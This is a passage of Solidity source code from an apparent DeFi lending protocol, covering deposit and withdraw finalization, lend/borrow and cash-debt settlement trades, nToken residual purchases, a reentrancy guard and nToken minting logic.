depositType == DepositActionType.DepositUnderlyingAndMintNToken
) {
// NOTE: this deposit will revert on a failed transfer immediately
assetInternalAmount = balanceState.depositUnderlyingToken(account, depositActionAmount);
} else if (depositType == DepositActionType.ConvertCashToNToken) {
// _executeNTokenAction will check if the account has sufficient cash
assetInternalAmount = depositActionAmount;
}
_executeNTokenAction(
balanceState,
depositType,
depositActionAmount,
assetInternalAmount
);
}
/// @dev Executes nToken actions
function _executeNTokenAction(
BalanceState memory balanceState,
DepositActionType depositType,
int256 depositActionAmount,
int256 assetInternalAmount
) private {
// After deposits have occurred, check if we are minting nTokens
if (
depositType == DepositActionType.DepositAssetAndMintNToken ||
depositType == DepositActionType.DepositUnderlyingAndMintNToken ||
depositType == DepositActionType.ConvertCashToNToken
) {
// Will revert if trying to mint ntokens and results in a negative cash balance
_checkSufficientCash(balanceState, assetInternalAmount);
balanceState.netCashChange = balanceState.netCashChange.sub(assetInternalAmount);
// Converts a given amount of cash (denominated in internal precision) into nTokens
int256 tokensMinted = nTokenMintAction.nTokenMint(
balanceState.currencyId,
assetInternalAmount
);
balanceState.netNTokenSupplyChange = balanceState.netNTokenSupplyChange.add(
tokensMinted
);
} else if (depositType == DepositActionType.RedeemNToken) {
require(
// prettier-ignore
balanceState
.storedNTokenBalance
.add(balanceState.netNTokenTransfer) // transfers would not occur at this point
.add(balanceState.netNTokenSupplyChange) >= depositActionAmount,
"Insufficient token balance"
);
balanceState.netNTokenSupplyChange = balanceState.netNTokenSupplyChange.sub(
depositActionAmount
);
int256 assetCash = nTokenRedeemAction.nTokenRedeemViaBatch(
balanceState.currencyId,
depositActionAmount
);
balanceState.netCashChange = balanceState.netCashChange.add(assetCash);
}
}
/// @dev Calculations any withdraws and finalizes balances
function _calculateWithdrawActionAndFinalize(
address account,
AccountContext memory accountContext,
BalanceState memory balanceState,
uint256 withdrawAmountInternalPrecision,
bool withdrawEntireCashBalance,
bool redeemToUnderlying
) private {
int256 withdrawAmount = SafeInt256.toInt(withdrawAmountInternalPrecision);
require(withdrawAmount >= 0); // dev: withdraw action overflow
// NOTE: if withdrawEntireCashBalance is set it will override the withdrawAmountInternalPrecision input
if (withdrawEntireCashBalance) {
// This option is here so that accounts do not end up with dust after lending since we generally
// cannot calculate exact cash amounts from the liquidity curve.
withdrawAmount = balanceState.storedCashBalance
.add(balanceState.netCashChange)
.add(balanceState.netAssetTransferInternalPrecision);
// If the account has a negative cash balance then cannot withdraw
if (withdrawAmount < 0) withdrawAmount = 0;
}
// prettier-ignore
balanceState.netAssetTransferInternalPrecision = balanceState
.netAssetTransferInternalPrecision
.sub(withdrawAmount);
balanceState.finalize(account, accountContext, redeemToUnderlying);
}
function _finalizeAccountContext(address account, AccountContext memory accountContext)
private
{
// At this point all balances, market states and portfolio states should be finalized. Just need to check free
// collateral if required.
accountContext.setAccountContext(account);
if (accountContext.hasDebt != 0x00) {
FreeCollateralExternal.checkFreeCollateralAndRevert(account);
}
}
/// @notice When lending, adding liquidity or minting nTokens the account must have a sufficient cash balance
/// to do so.
function _checkSufficientCash(BalanceState memory balanceState, int256 amountInternalPrecision)
private
pure
{
// The total cash position at this point is: storedCashBalance + netCashChange + netAssetTransferInternalPrecision
require(
amountInternalPrecision >= 0 &&
balanceState.storedCashBalance
.add(balanceState.netCashChange)
.add(balanceState.netAssetTransferInternalPrecision) >= amountInternalPrecision,
"Insufficient cash"
);
}
function _settleAccountIfRequired(address account)
private
returns (AccountContext memory)
{
AccountContext memory accountContext = AccountContextHandler.getAccountContext(account);
if (accountContext.mustSettleAssets()) {
// Returns a new memory reference to account context
return SettleAssetsExternal.settleAccount(account, accountContext);
} else {
return accountContext;
}
}
/// @notice Get a list of deployed library addresses (sorted by library name)
function getLibInfo() external view returns (address, address, address, address, address, address) {
return (
address(FreeCollateralExternal),
address(MigrateIncentives),
address(SettleAssetsExternal),
address(TradingAction),
address(nTokenMintAction),
address(nTokenRedeemAction)
);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "../FreeCollateralExternal.sol";
import "../SettleAssetsExternal.sol";
import "../../internal/markets/Market.sol";
import "../../internal/markets/CashGroup.sol";
import "../../internal/markets/AssetRate.sol";
import "../../internal/balances/BalanceHandler.sol";
import "../../internal/portfolio/PortfolioHandler.sol";
import "../../internal/portfolio/TransferAssets.sol";
import "../../math/SafeInt256.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library TradingAction {
using PortfolioHandler for PortfolioState;
using AccountContextHandler for AccountContext;
using Market for MarketParameters;
using CashGroup for CashGroupParameters;
using AssetRate for AssetRateParameters;
using SafeInt256 for int256;
using SafeMath for uint256;
event LendBorrowTrade(
address indexed account,
uint16 indexed currencyId,
uint40 maturity,
int256 netAssetCash,
int256 netfCash
);
event AddRemoveLiquidity(
address indexed account,
uint16 indexed currencyId,
uint40 maturity,
int256 netAssetCash,
int256 netfCash,
int256 netLiquidityTokens
);
event SettledCashDebt(
address indexed settledAccount,
uint16 indexed currencyId,
address indexed settler,
int256 amountToSettleAsset,
int256 fCashAmount
);
event nTokenResidualPurchase(
uint16 indexed currencyId,
uint40 indexed maturity,
address indexed purchaser,
int256 fCashAmountToPurchase,
int256 netAssetCashNToken
);
/// @dev Used internally to manage stack issues
struct TradeContext {
int256 cash;
int256 fCashAmount;
int256 fee;
int256 netCash;
int256 totalFee;
uint256 blockTime;
}
/// @notice Executes trades for a bitmapped portfolio, cannot be called directly
/// @param account account to put fCash assets in
/// @param bitmapCurrencyId currency id of the bitmap
/// @param nextSettleTime used to calculate the relative positions in the bitmap
/// @param trades tightly packed array of trades, schema is defined in global/Types.sol
/// @return netCash generated by trading
/// @return didIncurDebt if the bitmap had an fCash position go negative
function executeTradesBitmapBatch(
address account,
uint16 bitmapCurrencyId,
uint40 nextSettleTime,
bytes32[] calldata trades
) external returns (int256, bool) {
CashGroupParameters memory cashGroup = CashGroup.buildCashGroupStateful(bitmapCurrencyId);
MarketParameters memory market;
bool didIncurDebt;
TradeContext memory c;
c.blockTime = block.timestamp;
for (uint256 i = 0; i < trades.length; i++) {
uint256 maturity;
(maturity, c.cash, c.fCashAmount) = _executeTrade(
account,
cashGroup,
market,
trades[i],
c.blockTime
);
c.fCashAmount = BitmapAssetsHandler.addifCashAsset(
account,
bitmapCurrencyId,
maturity,
nextSettleTime,
c.fCashAmount
);
didIncurDebt = didIncurDebt || (c.fCashAmount < 0);
c.netCash = c.netCash.add(c.cash);
}
return (c.netCash, didIncurDebt);
}
/// @notice Executes trades for a bitmapped portfolio, cannot be called directly
/// @param account account to put fCash assets in
/// @param currencyId currency id to trade
/// @param portfolioState used to update the positions in the portfolio
/// @param trades tightly packed array of trades, schema is defined in global/Types.sol
/// @return resulting portfolio state
/// @return netCash generated by trading
function executeTradesArrayBatch(
address account,
uint16 currencyId,
PortfolioState memory portfolioState,
bytes32[] calldata trades
) external returns (PortfolioState memory, int256) {
CashGroupParameters memory cashGroup = CashGroup.buildCashGroupStateful(currencyId);
MarketParameters memory market;
TradeContext memory c;
c.blockTime = block.timestamp;
for (uint256 i = 0; i < trades.length; i++) {
TradeActionType tradeType = TradeActionType(uint256(uint8(bytes1(trades[i]))));
if (
tradeType == TradeActionType.AddLiquidity ||
tradeType == TradeActionType.RemoveLiquidity
) {
revert("Disabled");
/**
* Manual adding and removing of liquidity is currently disabled.
*
* // Liquidity tokens can only be added by array portfolio
* c.cash = _executeLiquidityTrade(
* account,
* cashGroup,
* market,
* tradeType,
* trades[i],
* portfolioState,
* c.netCash
* );
*/
} else {
uint256 maturity;
(maturity, c.cash, c.fCashAmount) = _executeTrade(
account,
cashGroup,
market,
trades[i],
c.blockTime
);
portfolioState.addAsset(
currencyId,
maturity,
Constants.FCASH_ASSET_TYPE,
c.fCashAmount
);
}
c.netCash = c.netCash.add(c.cash);
}
return (portfolioState, c.netCash);
}
/// @notice Executes a non-liquidity token trade
/// @param account the initiator of the trade
/// @param cashGroup parameters for the trade
/// @param market market memory location to use
/// @param trade bytes32 encoding of the particular trade
/// @param blockTime the current block time
/// @return maturity of the asset that was traded
/// @return cashAmount - a positive or negative cash amount accrued to the account
/// @return fCashAmount - a positive or negative fCash amount accrued to the account
function _executeTrade(
address account,
CashGroupParameters memory cashGroup,
MarketParameters memory market,
bytes32 trade,
uint256 blockTime
)
private
returns (
uint256 maturity,
int256 cashAmount,
int256 fCashAmount
)
{
TradeActionType tradeType = TradeActionType(uint256(uint8(bytes1(trade))));
if (tradeType == TradeActionType.PurchaseNTokenResidual) {
(maturity, cashAmount, fCashAmount) = _purchaseNTokenResidual(
account,
cashGroup,
blockTime,
trade
);
} else if (tradeType == TradeActionType.SettleCashDebt) {
(maturity, cashAmount, fCashAmount) = _settleCashDebt(account, cashGroup, blockTime, trade);
} else if (tradeType == TradeActionType.Lend || tradeType == TradeActionType.Borrow) {
(cashAmount, fCashAmount) = _executeLendBorrowTrade(
cashGroup,
market,
tradeType,
blockTime,
trade
);
// This is a little ugly but required to deal with stack issues. We know the market is loaded
// with the proper maturity inside _executeLendBorrowTrade
maturity = market.maturity;
emit LendBorrowTrade(
account,
uint16(cashGroup.currencyId),
uint40(maturity),
cashAmount,
fCashAmount
);
} else {
revert("Invalid trade type");
}
}
/// @notice Executes a liquidity token trade, no fees incurred and only array portfolios may hold
/// liquidity tokens.
/// @param account the initiator of the trade
/// @param cashGroup parameters for the trade
/// @param market market memory location to use
/// @param tradeType whether this is add or remove liquidity
/// @param trade bytes32 encoding of the particular trade
/// @param portfolioState the current account's portfolio state
/// @param netCash the current net cash accrued in this batch of trades, can be
// used for adding liquidity
/// @return cashAmount: a positive or negative cash amount accrued to the account
function _executeLiquidityTrade(
address account,
CashGroupParameters memory cashGroup,
MarketParameters memory market,
TradeActionType tradeType,
bytes32 trade,
PortfolioState memory portfolioState,
int256 netCash
) private returns (int256) {
uint256 marketIndex = uint8(bytes1(trade << 8));
// NOTE: this loads the market in memory
cashGroup.loadMarket(market, marketIndex, true, block.timestamp);
int256 cashAmount;
int256 fCashAmount;
int256 tokens;
if (tradeType == TradeActionType.AddLiquidity) {
cashAmount = int256((uint256(trade) >> 152) & type(uint88).max);
// Setting cash amount to zero will deposit all net cash accumulated in this trade into
// liquidity. This feature allows accounts to borrow in one maturity to provide liquidity
// in another in a single transaction without dust. It also allows liquidity providers to
// sell off the net cash residuals and use the cash amount in the new market without dust
if (cashAmount == 0) cashAmount = netCash;
// Add liquidity will check cash amount is positive
(tokens, fCashAmount) = market.addLiquidity(cashAmount);
cashAmount = cashAmount.neg(); // Report a negative cash amount in the event
} else {
tokens = int256((uint256(trade) >> 152) & type(uint88).max);
(cashAmount, fCashAmount) = market.removeLiquidity(tokens);
tokens = tokens.neg(); // Report a negative amount tokens in the event
}
{
uint256 minImpliedRate = uint32(uint256(trade) >> 120);
uint256 maxImpliedRate = uint32(uint256(trade) >> 88);
// If minImpliedRate is not set then it will be zero
require(market.lastImpliedRate >= minImpliedRate, "Trade failed, slippage");
if (maxImpliedRate != 0)
require(market.lastImpliedRate <= maxImpliedRate, "Trade failed, slippage");
}
// Add the assets in this order so they are sorted
portfolioState.addAsset(
cashGroup.currencyId,
market.maturity,
Constants.FCASH_ASSET_TYPE,
fCashAmount
);
// Adds the liquidity token asset
portfolioState.addAsset(
cashGroup.currencyId,
market.maturity,
marketIndex + 1,
tokens
);
emit AddRemoveLiquidity(
account,
cashGroup.currencyId,
// This will not overflow for a long time
uint40(market.maturity),
cashAmount,
fCashAmount,
tokens
);
return cashAmount;
}
/// @notice Executes a lend or borrow trade
/// @param cashGroup parameters for the trade
/// @param market market memory location to use
/// @param tradeType whether this is add or remove liquidity
/// @param blockTime the current block time
/// @param trade bytes32 encoding of the particular trade
/// @return cashAmount - a positive or negative cash amount accrued to the account
/// @return fCashAmount - a positive or negative fCash amount accrued to the account
function _executeLendBorrowTrade(
CashGroupParameters memory cashGroup,
MarketParameters memory market,
TradeActionType tradeType,
uint256 blockTime,
bytes32 trade
)
private
returns (
int256 cashAmount,
int256 fCashAmount
)
{
uint256 marketIndex = uint256(uint8(bytes1(trade << 8)));
// NOTE: this updates the market in memory
cashGroup.loadMarket(market, marketIndex, false, blockTime);
fCashAmount = int256(uint88(bytes11(trade << 16)));
// fCash to account will be negative here
if (tradeType == TradeActionType.Borrow) fCashAmount = fCashAmount.neg();
cashAmount = market.executeTrade(
cashGroup,
fCashAmount,
market.maturity.sub(blockTime),
marketIndex
);
require(cashAmount != 0, "Trade failed, liquidity");
uint256 rateLimit = uint256(uint32(bytes4(trade << 104)));
if (rateLimit != 0) {
if (tradeType == TradeActionType.Borrow) {
// Do not allow borrows over the rate limit
require(market.lastImpliedRate <= rateLimit, "Trade failed, slippage");
} else {
// Do not allow lends under the rate limit
require(market.lastImpliedRate >= rateLimit, "Trade failed, slippage");
}
}
}
/// @notice If an account has a negative cash balance we allow anyone to lend to to that account at a penalty
/// rate to the 3 month market.
/// @param account the account initiating the trade, used to check that self settlement is not possible
/// @param cashGroup parameters for the trade
/// @param blockTime the current block time
/// @param trade bytes32 encoding of the particular trade
/// @return maturity: the date of the three month maturity where fCash will be exchanged
/// @return cashAmount: a negative cash amount that the account must pay to the settled account
/// @return fCashAmount: a positive fCash amount that the account will receive
function _settleCashDebt(
address account,
CashGroupParameters memory cashGroup,
uint256 blockTime,
bytes32 trade
)
internal
returns (
uint256,
int256,
int256
)
{
address counterparty = address(uint256(trade) >> 88);
// Allowing an account to settle itself would result in strange outcomes
require(account != counterparty, "Cannot settle self");
int256 amountToSettleAsset = int256(uint88(uint256(trade)));
AccountContext memory counterpartyContext =
AccountContextHandler.getAccountContext(counterparty);
if (counterpartyContext.mustSettleAssets()) {
counterpartyContext = SettleAssetsExternal.settleAccount(counterparty, counterpartyContext);
}
// This will check if the amountToSettleAsset is valid and revert if it is not. Amount to settle is a positive
// number denominated in asset terms. If amountToSettleAsset is set equal to zero on the input, will return the
// max amount to settle. This will update the balance storage on the counterparty.
amountToSettleAsset = BalanceHandler.setBalanceStorageForSettleCashDebt(
counterparty,
cashGroup,
amountToSettleAsset,
counterpartyContext
);
// Settled account must borrow from the 3 month market at a penalty rate. This will fail if the market
// is not initialized.
uint256 threeMonthMaturity = DateTime.getReferenceTime(blockTime) + Constants.QUARTER;
int256 fCashAmount =
_getfCashSettleAmount(cashGroup, threeMonthMaturity, blockTime, amountToSettleAsset);
// Defensive check to ensure that we can't inadvertently cause the settler to lose fCash.
require(fCashAmount >= 0);
// It's possible that this action will put an account into negative free collateral. In this case they
// will immediately become eligible for liquidation and the account settling the debt can also liquidate
// them in the same transaction. Do not run a free collateral check here to allow this to happen.
{
PortfolioAsset[] memory assets = new PortfolioAsset[](1);
assets[0].currencyId = cashGroup.currencyId;
assets[0].maturity = threeMonthMaturity;
assets[0].notional = fCashAmount.neg(); // This is the debt the settled account will incur
assets[0].assetType = Constants.FCASH_ASSET_TYPE;
// Can transfer assets, we have settled above
counterpartyContext = TransferAssets.placeAssetsInAccount(
counterparty,
counterpartyContext,
assets
);
}
counterpartyContext.setAccountContext(counterparty);
emit SettledCashDebt(
counterparty,
uint16(cashGroup.currencyId),
account,
amountToSettleAsset,
fCashAmount.neg()
);
return (threeMonthMaturity, amountToSettleAsset.neg(), fCashAmount);
}
/// @dev Helper method to calculate the fCashAmount from the penalty settlement rate
function _getfCashSettleAmount(
CashGroupParameters memory cashGroup,
uint256 threeMonthMaturity,
uint256 blockTime,
int256 amountToSettleAsset
) private view returns (int256) {
uint256 oracleRate = cashGroup.calculateOracleRate(threeMonthMaturity, blockTime);
int256 exchangeRate =
Market.getExchangeRateFromImpliedRate(
oracleRate.add(cashGroup.getSettlementPenalty()),
threeMonthMaturity.sub(blockTime)
);
// Amount to settle is positive, this returns the fCashAmount that the settler will
// receive as a positive number
return
cashGroup.assetRate
.convertToUnderlying(amountToSettleAsset)
// Exchange rate converts from cash to fCash when multiplying
.mulInRatePrecision(exchangeRate);
}
/// @notice Allows an account to purchase ntoken residuals
/// @param purchaser account that is purchasing the residuals
/// @param cashGroup parameters for the trade
/// @param blockTime the current block time
/// @param trade bytes32 encoding of the particular trade
/// @return maturity: the date of the idiosyncratic maturity where fCash will be exchanged
/// @return cashAmount: a positive or negative cash amount that the account will receive or pay
/// @return fCashAmount: a positive or negative fCash amount that the account will receive
function _purchaseNTokenResidual(
address purchaser,
CashGroupParameters memory cashGroup,
uint256 blockTime,
bytes32 trade
)
internal
returns (
uint256,
int256,
int256
)
{
uint256 maturity = uint256(uint32(uint256(trade) >> 216));
int256 fCashAmountToPurchase = int88(uint88(uint256(trade) >> 128));
require(maturity > blockTime, "Invalid maturity");
// Require that the residual to purchase does not fall on an existing maturity (i.e.
// it is an idiosyncratic maturity)
require(
!DateTime.isValidMarketMaturity(cashGroup.maxMarketIndex, maturity, blockTime),
"Non idiosyncratic maturity"
);
address nTokenAddress = nTokenHandler.nTokenAddress(cashGroup.currencyId);
// prettier-ignore
(
/* currencyId */,
/* incentiveRate */,
uint256 lastInitializedTime,
/* assetArrayLength */,
bytes5 parameters
) = nTokenHandler.getNTokenContext(nTokenAddress);
// Restrict purchasing until some amount of time after the last initialized time to ensure that arbitrage
// opportunities are not available (by generating residuals and then immediately purchasing them at a discount)
// This is always relative to the last initialized time which is set at utc0 when initialized, not the
// reference time. Therefore we will always restrict residual purchase relative to initialization, not reference.
// This is safer, prevents an attack if someone forces residuals and then somehow prevents market initialization
// until the residual time buffer passes.
require(
blockTime >
lastInitializedTime.add(
uint256(uint8(parameters[Constants.RESIDUAL_PURCHASE_TIME_BUFFER])) * 1 hours
),
"Insufficient block time"
);
int256 notional =
BitmapAssetsHandler.getifCashNotional(nTokenAddress, cashGroup.currencyId, maturity);
// Check if amounts are valid and set them to the max available if necessary
if (notional < 0 && fCashAmountToPurchase < 0) {
// Does not allow purchasing more negative notional than available
if (fCashAmountToPurchase < notional) fCashAmountToPurchase = notional;
} else if (notional > 0 && fCashAmountToPurchase > 0) {
// Does not allow purchasing more positive notional than available
if (fCashAmountToPurchase > notional) fCashAmountToPurchase = notional;
} else {
// Does not allow moving notional in the opposite direction
revert("Invalid amount");
}
// If fCashAmount > 0 then this will return netAssetCash > 0, if fCashAmount < 0 this will return
// netAssetCash < 0. fCashAmount will go to the purchaser and netAssetCash will go to the nToken.
int256 netAssetCashNToken =
_getResidualPriceAssetCash(
cashGroup,
maturity,
blockTime,
fCashAmountToPurchase,
parameters
);
_updateNTokenPortfolio(
nTokenAddress,
cashGroup.currencyId,
maturity,
lastInitializedTime,
fCashAmountToPurchase,
netAssetCashNToken
);
emit nTokenResidualPurchase(
uint16(cashGroup.currencyId),
uint40(maturity),
purchaser,
fCashAmountToPurchase,
netAssetCashNToken
);
return (maturity, netAssetCashNToken.neg(), fCashAmountToPurchase);
}
/// @notice Returns the amount of asset cash required to purchase the nToken residual
function _getResidualPriceAssetCash(
CashGroupParameters memory cashGroup,
uint256 maturity,
uint256 blockTime,
int256 fCashAmount,
bytes6 parameters
) internal view returns (int256) {
uint256 oracleRate = cashGroup.calculateOracleRate(maturity, blockTime);
// Residual purchase incentive is specified in ten basis point increments
uint256 purchaseIncentive =
uint256(uint8(parameters[Constants.RESIDUAL_PURCHASE_INCENTIVE])) *
Constants.TEN_BASIS_POINTS;
if (fCashAmount > 0) {
// When fCash is positive then we add the purchase incentive, the purchaser
// can pay less cash for the fCash relative to the oracle rate
oracleRate = oracleRate.add(purchaseIncentive);
} else if (oracleRate > purchaseIncentive) {
// When fCash is negative, we reduce the interest rate that the purchaser will
// borrow at, we do this check to ensure that we floor the oracle rate at zero.
oracleRate = oracleRate.sub(purchaseIncentive);
} else {
// If the oracle rate is less than the purchase incentive floor the interest rate at zero
oracleRate = 0;
}
int256 exchangeRate =
Market.getExchangeRateFromImpliedRate(oracleRate, maturity.sub(blockTime));
// Returns the net asset cash from the nToken perspective, which is the same sign as the fCash amount
return
cashGroup.assetRate.convertFromUnderlying(fCashAmount.divInRatePrecision(exchangeRate));
}
function _updateNTokenPortfolio(
address nTokenAddress,
uint256 currencyId,
uint256 maturity,
uint256 lastInitializedTime,
int256 fCashAmountToPurchase,
int256 netAssetCashNToken
) private {
int256 finalNotional = BitmapAssetsHandler.addifCashAsset(
nTokenAddress,
currencyId,
maturity,
lastInitializedTime,
fCashAmountToPurchase.neg() // the nToken takes on the negative position
);
// Defensive check to ensure that fCash amounts do not flip signs
require(
(fCashAmountToPurchase > 0 && finalNotional >= 0) ||
(fCashAmountToPurchase < 0 && finalNotional <= 0)
);
// prettier-ignore
(
int256 nTokenCashBalance,
/* storedNTokenBalance */,
/* lastClaimTime */,
/* accountIncentiveDebt */
) = BalanceHandler.getBalanceStorage(nTokenAddress, currencyId);
nTokenCashBalance = nTokenCashBalance.add(netAssetCashNToken);
// This will ensure that the cash balance is not negative
BalanceHandler.setBalanceStorageForNToken(nTokenAddress, currencyId, nTokenCashBalance);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "../../global/StorageLayoutV1.sol";
import "../../internal/nToken/nTokenHandler.sol";
abstract contract ActionGuards is StorageLayoutV1 {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
function initializeReentrancyGuard() internal {
require(reentrancyStatus == 0);
// Initialize the guard to a non-zero value, see the OZ reentrancy guard
// description for why this is more gas efficient:
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol
reentrancyStatus = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(reentrancyStatus != _ENTERED, "Reentrant call");
// Any calls to nonReentrant after this point will fail
reentrancyStatus = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
reentrancyStatus = _NOT_ENTERED;
}
// These accounts cannot receive deposits, transfers, fCash or any other
// types of value transfers.
function requireValidAccount(address account) internal view {
require(account != Constants.RESERVE); // Reserve address is address(0)
require(account != address(this));
(
uint256 isNToken,
/* incentiveAnnualEmissionRate */,
/* lastInitializedTime */,
/* assetArrayLength */,
/* parameters */
) = nTokenHandler.getNTokenContext(account);
require(isNToken == 0);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "../../global/Constants.sol";
import "../../internal/nToken/nTokenHandler.sol";
import "../../internal/nToken/nTokenCalculations.sol";
import "../../internal/markets/Market.sol";
import "../../internal/markets/CashGroup.sol";
import "../../internal/markets/AssetRate.sol";
import "../../internal/balances/BalanceHandler.sol";
import "../../internal/portfolio/PortfolioHandler.sol";
import "../../math/SafeInt256.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library nTokenMintAction {
using SafeInt256 for int256;
using BalanceHandler for BalanceState;
using CashGroup for CashGroupParameters;
using Market for MarketParameters;
using nTokenHandler for nTokenPortfolio;
using PortfolioHandler for PortfolioState;
using AssetRate for AssetRateParameters;
using SafeMath for uint256;
using nTokenHandler for nTokenPortfolio;
/// @notice Converts the given amount of cash to nTokens in the same currency.
/// @param currencyId the currency associated the nToken
/// @param amountToDepositInternal the amount of asset tokens to deposit denominated in internal decimals
/// @return nTokens minted by this action
function nTokenMint(uint16 currencyId, int256 amountToDepositInternal)
external
returns (int256)
{
uint256 blockTime = block.timestamp;
nTokenPortfolio memory nToken;
nToken.loadNTokenPortfolioStateful(currencyId);
int256 tokensToMint = calculateTokensToMint(nToken, amountToDepositInternal, blockTime);
require(tokensToMint >= 0, "Invalid token amount");
if (nToken.portfolioState.storedAssets.length == 0) {
// If the token does not have any assets, then the markets must be initialized first.
nToken.cashBalance = nToken.cashBalance.add(amountToDepositInternal);
BalanceHandler.setBalanceStorageForNToken(
nToken.tokenAddress,
currencyId,
nToken.cashBalance
);
} else {
_depositIntoPortfolio(nToken, amountToDepositInternal, blockTime);
}
// NOTE: token supply does not change here, it will change after incentives have been claimed
// during BalanceHandler.finalize
return tokensToMint;
}
/// @notice Calculates the tokens to mint to the account as a ratio of the nToken
/// present value denominated in asset cash terms.
/// @return the amount of tokens to mint, the ifCash bitmap
function calculateTokensToMint(
nTokenPortfolio memory nToken,
int256 amountToDepositInternal,
uint256 blockTime
) internal view returns (int256) {
require(amountToDepositInternal >= 0); // dev: deposit amount negative
if (amountToDepositInternal == 0) return 0;
if (nToken.lastInitializedTime != 0) {
// For the sake of simplicity, nTokens cannot be minted if they have assets
// that need to be settled. This is only done during market initialization.
uint256 nextSettleTime = nToken.getNextSettleTime();
// If next settle time <= blockTime then the token can be settled
require(nextSettleTime > blockTime, "Requires settlement");
}
int256 assetCashPV = nTokenCalculations.getNTokenAssetPV(nToken, blockTime);
// Defensive check to ensure PV remains positive
require(assetCashPV >= 0);
// Allow for the first deposit
if (nToken.totalSupply == 0) {
return amountToDepositInternal;
} else {
// assetCashPVPost = assetCashPV + amountToDeposit
// (tokenSupply + tokensToMint) / tokenSupply == (assetCashPV + amountToDeposit) / assetCashPV
// (tokenSupply + tokensToMint) == (assetCashPV + amountToDeposit) * tokenSupply / assetCashPV
// (tokenSupply + tokensToMint) == tokenSupply + (amountToDeposit * tokenSupply) / assetCashPV
// tokensToMint == (amountToDeposit * tokenSupply) / assetCashPV
return amountToDepositInternal.mul(nToken.totalSupply).div(assetCashPV);
}
}
/// @notice Portions out assetCashDeposit into amounts to deposit into individual markets. When
/// entering this method we know that assetCashDeposit is positive and the nToken has been
/// initialized to have liquidity tokens.
function _depositIntoPortfolio(
nTokenPortfolio memory nToken,
int256 assetCashDeposit,
uint256 blockTime
) private {
(int256[] memory depositShares, int256[] memory leverageThresholds) =
nTokenHandler.getDepositParameters(
nToken.cashGroup.currencyId,
nToken.cashGroup.maxMarketIndex
);
// Loop backwards from the last market to the first market, the reasoning is a little complicated:
// If we have to deleverage the markets (i.e. lend instead of provide liquidity) it's quite gas inefficient
// to calculate the cash amount to lend. We do know that longer term maturities will have more
// slippage and therefore the residual from the perMarketDeposit will be lower as the maturities get
// closer to the current block time. Any residual cash from lending will be rolled into shorter
// markets as this loop progresses.
int256 residualCash;
MarketParameters memory market;
for (uint256 marketIndex = nToken.cashGroup.maxMarketIndex; marketIndex > 0; marketIndex--) {
int256 fCashAmount;
// Loads values into the market memory slot
nToken.cashGroup.loadMarket(
market,
marketIndex,
true, // Needs liquidity to true
blockTime
);
// If market has not been initialized, continue. This can occur when cash groups extend maxMarketIndex
// before initializing
if (market.totalLiquidity == 0) continue;
// Checked that assetCashDeposit must be positive before entering
int256 perMarketDeposit =
assetCashDeposit
.mul(depositShares[marketIndex - 1])
.div(Constants.DEPOSIT_PERCENT_BASIS)
.add(residualCash);
(fCashAmount, residualCash) = _lendOrAddLiquidity(
nToken,
market,
perMarketDeposit,
leverageThresholds[marketIndex - 1],
marketIndex,
blockTime
);
if (fCashAmount != 0) {
BitmapAssetsHandler.addifCashAsset(
nToken.tokenAddress,
nToken.cashGroup.currencyId,
market.maturity,
nToken.lastInitializedTime,
fCashAmount
);
}
}
// nToken is allowed to store assets directly without updating account context.
nToken.portfolioState.storeAssets(nToken.tokenAddress);
// Defensive check to ensure that we do not somehow accrue negative residual cash.
require(residualCash >= 0, "Negative residual cash");
// This will occur if the three month market is over levered and we cannot lend into it
if (residualCash > 0) {
// Any remaining residual cash will be put into the nToken balance and added as liquidity on the
// next market initialization
nToken.cashBalance = nToken.cashBalance.add(residualCash);
BalanceHandler.setBalanceStorageForNToken(
nToken.tokenAddress,
nToken.cashGroup.currencyId,
nToken.cashBalance
);
}
}
/// @notice For a given amount of cash to deposit, decides how much to lend or provide
/// given the market conditions.
function _lendOrAddLiquidity(
nTokenPortfolio memory nToken,
MarketParameters memory market,
int256 perMarketDeposit,
int256 leverageThreshold,
uint256 marketIndex,
uint256 blockTime
) private returns (int256 fCashAmount, int256 residualCash) {
// We start off with the entire per market deposit as residuals
residualCash = perMarketDeposit;
// If the market is over leveraged then we will lend to it instead of providing liquidity
if (_isMarketOverLeveraged(nToken.cashGroup, market, leverageThreshold)) {
(residualCash, fCashAmount) = _deleverageMarket(
nToken.cashGroup,
market,
perMarketDeposit,
blockTime,
marketIndex
);
// Recalculate this after lending into the market, if it is still over leveraged then
// we will not add liquidity and just exit.
if (_isMarketOverLeveraged(nToken.cashGroup, market, leverageThreshold)) {
// Returns the residual cash amount
return (fCashAmount, residualCash);
}
}
// Add liquidity to the market only if we have successfully delevered.
// (marketIndex - 1) is the index of the nToken portfolio array where the asset is stored
// If deleveraged, residualCash is what remains
// If not deleveraged, residual cash is per market deposit
fCashAmount = fCashAmount.add(
_addLiquidityToMarket(nToken, market, marketIndex - 1, residualCash)
);
// No residual cash if we're adding liquidity
return (fCashAmount, 0);
}
/// @notice Markets are over levered when their proportion is greater than a governance set
/// threshold. At this point, providing liquidity will incur too much negative fCash on the nToken
/// account for the given amount of cash deposited, putting the nToken account at risk of liquidation.
/// If the market is over leveraged, we call `deleverageMarket` to lend to the market instead.
function _isMarketOverLeveraged(
CashGroupParameters memory cashGroup,
MarketParameters memory market,
int256 leverageThreshold
) private pure returns (bool) {
int256 totalCashUnderlying = cashGroup.assetRate.convertToUnderlying(market.totalAssetCash);
// Comparison we want to do:
// (totalfCash) / (totalfCash + totalCashUnderlying) > leverageThreshold
// However, the division will introduce rounding errors so we change this to:
// totalfCash * RATE_PRECISION > leverageThreshold * (totalfCash + totalCashUnderlying)
// Leverage threshold is denominated in rate precision.
return (
market.totalfCash.mul(Constants.RATE_PRECISION) >
leverageThreshold.mul(market.totalfCash.add(totalCashUnderlying))
);
}
function _addLiquidityToMarket(
nTokenPortfolio memory nToken,
MarketParameters memory market,
uint256 index,
int256 perMarketDeposit
